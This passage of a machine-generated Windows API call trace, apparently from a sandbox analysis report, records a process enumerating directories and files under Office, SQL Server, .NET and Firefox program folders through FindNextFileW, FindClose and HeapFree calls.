dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0073.936] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0073.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0073.936] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0073.936] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0073.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.937] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0073.938] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0073.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0073.938] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0073.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0073.940] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0074.199] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.199] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1 [0074.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.202] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1 [0074.204] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.204] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0074.205] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.205] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0 [0074.206] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0074.206] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.207] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0074.209] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.209] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0074.209] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0074.209] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.209] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0074.209] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0074.209] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.210] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0074.211] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.211] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0074.211] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0074.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.212] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0074.212] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0074.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.213] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0074.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.214] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0074.214] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0074.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0074.214] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0 [0074.214] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0074.214] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0074.214] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0074.217] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0074.217] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1 [0074.219] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0074.219] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0074.221] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.221] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0074.221] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0074.221] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.221] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0 [0074.221] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0074.221] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.221] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1 [0074.224] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.224] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0074.224] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.224] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.224] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1 [0074.225] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.225] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0074.225] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.225] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.225] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1 [0074.225] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.225] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0074.226] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.226] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.226] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0074.227] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.227] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0074.227] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.227] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.227] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1 [0074.228] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.228] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0074.228] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.228] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.228] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1 [0074.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0074.229] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0074.229] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0074.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.229] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0 [0074.229] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0074.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0074.229] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328ee10 | out: 